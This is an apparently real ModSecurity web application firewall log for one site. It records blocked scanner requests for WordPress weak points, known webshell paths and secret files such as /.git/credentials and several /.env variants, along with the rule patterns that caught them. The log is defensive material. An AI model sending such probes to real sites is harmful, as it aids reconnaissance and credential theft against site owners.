[Mon May 25 06:18:29.371983 2026] [:error] [pid 9302:tid 9310] [client 43.134.5.186:59470] [client 43.134.5.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahN5NS1RaFfTSnDQnqFQNgAAAAM"]
[Mon May 25 06:25:45.102351 2026] [:error] [pid 50423:tid 50440] [client 168.205.151.116:47240] [client 168.205.151.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.205.151.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahN66aJWO7En4nKEQ3gwlgAAAQ8"]
[Mon May 25 06:25:47.745957 2026] [:error] [pid 9302:tid 9308] [client 168.205.151.116:45670] [client 168.205.151.116] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ahN66y1RaFfTSnDQnqFRrgAAAAE"]
[Mon May 25 06:25:54.772493 2026] [:error] [pid 9302:tid 9319] [client 168.205.151.116:45670] [client 168.205.151.116] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ahN68i1RaFfTSnDQnqFRtwAAAAw"]
[Mon May 25 06:54:20.427560 2026] [:error] [pid 9303:tid 9344] [client 46.151.182.172:63724] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOBnH3bQScbssitjPQ-nQAAAEo"]
[Mon May 25 06:54:21.022588 2026] [:error] [pid 9304:tid 9380] [client 46.151.182.172:57554] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOBneVEV2qpMC_1UzSM1gAAAJM"]
[Mon May 25 06:54:21.588347 2026] [:error] [pid 9398:tid 9406] [client 46.151.182.172:61904] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOBnehIu7KstzsCua-x4gAAAMY"]
[Mon May 25 06:54:22.119532 2026] [:error] [pid 50423:tid 50438] [client 46.151.182.172:53858] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOBnqJWO7En4nKEQ3g5SAAAAQ0"]
[Mon May 25 06:54:22.806444 2026] [:error] [pid 21606:tid 21614] [client 46.151.182.172:56709] [client 46.151.182.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOBnmswdp0RYkH5t9XF6gAAAUY"]
[Mon May 25 07:09:23.285953 2026] [:error] [pid 9398:tid 9406] [client 104.28.214.122:38907] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ms-themes.php"] [unique_id "ahOFI-hIu7KstzsCua-3PAAAAMY"]
[Mon May 25 07:09:23.737773 2026] [:error] [pid 9303:tid 9347] [client 104.28.214.122:38443] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "ahOFI33bQScbssitjPRD7AAAAE0"]
[Mon May 25 07:09:25.252148 2026] [:error] [pid 9303:tid 9348] [client 104.28.214.122:20413] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ahOFJX3bQScbssitjPRD9QAAAE4"]
[Mon May 25 07:13:24.518714 2026] [:error] [pid 9302:tid 9311] [client 45.154.98.96:58549] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOGFC1RaFfTSnDQnqFdDwAAAAQ"]
[Mon May 25 07:13:24.524603 2026] [:error] [pid 9302:tid 9309] [client 45.154.98.96:58552] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGFC1RaFfTSnDQnqFdEQAAAAI"], referer: www.google.com
[Mon May 25 07:13:24.528037 2026] [:error] [pid 9398:tid 9405] [client 45.154.98.96:58554] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-plain.php"] [unique_id "ahOGFOhIu7KstzsCua-5KQAAAMU"], referer: www.google.com
[Mon May 25 07:13:24.529025 2026] [:error] [pid 21606:tid 21624] [client 45.154.98.96:58544] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGFGswdp0RYkH5t9XKwgAAAVA"], referer: www.google.com
[Mon May 25 07:13:25.022298 2026] [:error] [pid 21606:tid 21632] [client 45.154.98.96:58930] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOGFWswdp0RYkH5t9XKxQAAAVg"]
[Mon May 25 07:13:25.028178 2026] [:error] [pid 9302:tid 9316] [client 45.154.98.96:58941] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-plain.php"] [unique_id "ahOGFS1RaFfTSnDQnqFdGwAAAAk"], referer: www.google.com
[Mon May 25 07:13:25.028509 2026] [:error] [pid 50423:tid 50431] [client 45.154.98.96:58932] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGFaJWO7En4nKEQ3hAiQAAAQY"], referer: www.google.com
[Mon May 25 07:13:25.051520 2026] [:error] [pid 50423:tid 50449] [client 45.154.98.96:58942] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGFaJWO7En4nKEQ3hAigAAARg"], referer: www.google.com
[Mon May 25 07:13:25.518162 2026] [:error] [pid 9398:tid 9405] [client 45.154.98.96:59467] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGFehIu7KstzsCua-5MwAAAMU"], referer: www.google.com
[Mon May 25 07:13:25.519384 2026] [:error] [pid 9398:tid 9421] [client 45.154.98.96:59465] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-plain.php"] [unique_id "ahOGFehIu7KstzsCua-5NAAAANE"], referer: www.google.com
[Mon May 25 07:13:25.522676 2026] [:error] [pid 9303:tid 9350] [client 45.154.98.96:59460] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOGFX3bQScbssitjPRFwAAAAFA"]
[Mon May 25 07:13:25.565419 2026] [:error] [pid 9304:tid 9370] [client 45.154.98.96:59519] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGFeVEV2qpMC_1UzSZFgAAAIk"], referer: www.google.com
[Mon May 25 07:13:26.010073 2026] [:error] [pid 9304:tid 9367] [client 45.154.98.96:60002] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGFuVEV2qpMC_1UzSZJwAAAIY"], referer: www.google.com
[Mon May 25 07:13:26.012087 2026] [:error] [pid 9304:tid 9381] [client 45.154.98.96:60003] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-plain.php"] [unique_id "ahOGFuVEV2qpMC_1UzSZKAAAAJQ"], referer: www.google.com
[Mon May 25 07:13:26.023596 2026] [:error] [pid 9304:tid 9376] [client 45.154.98.96:60028] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOGFuVEV2qpMC_1UzSZKQAAAI8"]
[Mon May 25 07:13:26.072953 2026] [:error] [pid 9304:tid 9371] [client 45.154.98.96:60106] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGFuVEV2qpMC_1UzSZLAAAAIo"], referer: www.google.com
[Mon May 25 07:13:26.500416 2026] [:error] [pid 9303:tid 9342] [client 45.154.98.96:60662] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-plain.php"] [unique_id "ahOGFn3bQScbssitjPRF0AAAAEg"], referer: www.google.com
[Mon May 25 07:13:26.502949 2026] [:error] [pid 9303:tid 9337] [client 45.154.98.96:60659] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGFn3bQScbssitjPRF0QAAAEM"], referer: www.google.com
[Mon May 25 07:13:26.509382 2026] [:error] [pid 9303:tid 9341] [client 45.154.98.96:60665] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ahOGFn3bQScbssitjPRF0gAAAEc"]
[Mon May 25 07:13:26.565708 2026] [:error] [pid 9303:tid 9338] [client 45.154.98.96:60719] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGFn3bQScbssitjPRF1QAAAEQ"], referer: www.google.com
[Mon May 25 07:13:27.568665 2026] [:error] [pid 50423:tid 50433] [client 45.154.98.96:61269] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGF6JWO7En4nKEQ3hAugAAAQg"], referer: www.google.com
[Mon May 25 07:13:27.606005 2026] [:error] [pid 50423:tid 50437] [client 45.154.98.96:61411] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGF6JWO7En4nKEQ3hAvAAAAQw"], referer: www.google.com
[Mon May 25 07:13:28.548977 2026] [:error] [pid 21606:tid 21620] [client 45.154.98.96:62956] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGGGswdp0RYkH5t9XK1AAAAUw"], referer: www.google.com
[Mon May 25 07:13:28.573062 2026] [:error] [pid 9303:tid 9351] [client 45.154.98.96:63029] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGGH3bQScbssitjPRF9wAAAFE"], referer: www.google.com
[Mon May 25 07:13:29.508217 2026] [:error] [pid 50423:tid 50429] [client 45.154.98.96:64388] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGGaJWO7En4nKEQ3hA3QAAAQQ"], referer: www.google.com
[Mon May 25 07:13:29.561039 2026] [:error] [pid 9304:tid 9385] [client 45.154.98.96:64425] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGGeVEV2qpMC_1UzSZagAAAJg"], referer: www.google.com
[Mon May 25 07:13:30.478996 2026] [:error] [pid 9303:tid 9344] [client 45.154.98.96:49329] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGGn3bQScbssitjPRGDAAAAEo"], referer: www.google.com
[Mon May 25 07:13:30.529341 2026] [:error] [pid 9303:tid 9342] [client 45.154.98.96:49393] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGGn3bQScbssitjPRGEAAAAEg"], referer: www.google.com
[Mon May 25 07:13:31.466694 2026] [:error] [pid 50423:tid 50442] [client 45.154.98.96:50559] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "ahOGG6JWO7En4nKEQ3hA8AAAARE"], referer: www.google.com
[Mon May 25 07:13:31.513065 2026] [:error] [pid 50423:tid 50443] [client 45.154.98.96:50582] [client 45.154.98.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "ahOGG6JWO7En4nKEQ3hA8QAAARI"], referer: www.google.com
[Mon May 25 07:40:09.126014 2026] [:error] [pid 62427:tid 62478] [client 192.144.148.122:41598] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ahOMWfMUa83fc4GDyBzo5AAAAVU"]
[Mon May 25 09:37:01.647144 2026] [:error] [pid 62426:tid 62430] [client 54.250.248.163:33780] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ahOnvUj3D3Mo8ANpTRCEYQAAAAA"]
[Mon May 25 09:37:04.043393 2026] [:error] [pid 62515:tid 62528] [client 54.250.248.163:35606] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/credentials"] [unique_id "ahOnwBig0_XsOwmnrv9voQAAAMs"]
[Mon May 25 09:37:06.337485 2026] [:error] [pid 62515:tid 62535] [client 54.250.248.163:35632] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "ahOnwhig0_XsOwmnrv9vqwAAANI"]
[Mon May 25 09:37:07.191581 2026] [:error] [pid 62722:tid 62732] [client 54.250.248.163:41646] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "ahOnw6M6ssnLWYf6CVByowAAAEg"]
[Mon May 25 09:37:08.188951 2026] [:error] [pid 62722:tid 62730] [client 54.250.248.163:41660] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "ahOnxKM6ssnLWYf6CVBypwAAAEY"]
[Mon May 25 09:37:08.995452 2026] [:error] [pid 62722:tid 62727] [client 54.250.248.163:41668] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "ahOnxKM6ssnLWYf6CVByrAAAAEM"]
[Mon May 25 09:37:09.983826 2026] [:error] [pid 62722:tid 62737] [client 54.250.248.163:41696] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "ahOnxaM6ssnLWYf6CVByrwAAAE0"]
[Mon May 25 09:37:10.827315 2026] [:error] [pid 62722:tid 62742] [client 54.250.248.163:41698] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "ahOnxqM6ssnLWYf6CVBytgAAAFI"]
[Mon May 25 09:37:11.608134 2026] [:error] [pid 62428:tid 62505] [client 54.250.248.163:41706] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.remote"] [unique_id "ahOnx5NosGBa7mui3VS3kAAAAJU"]
[Mon May 25 09:37:14.125029 2026] [:error] [pid 62515:tid 62524] [client 54.250.248.163:41728] [client 54.250.248.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "ahOnyhig0_XsOwmnrv9vtQAAAMc"]
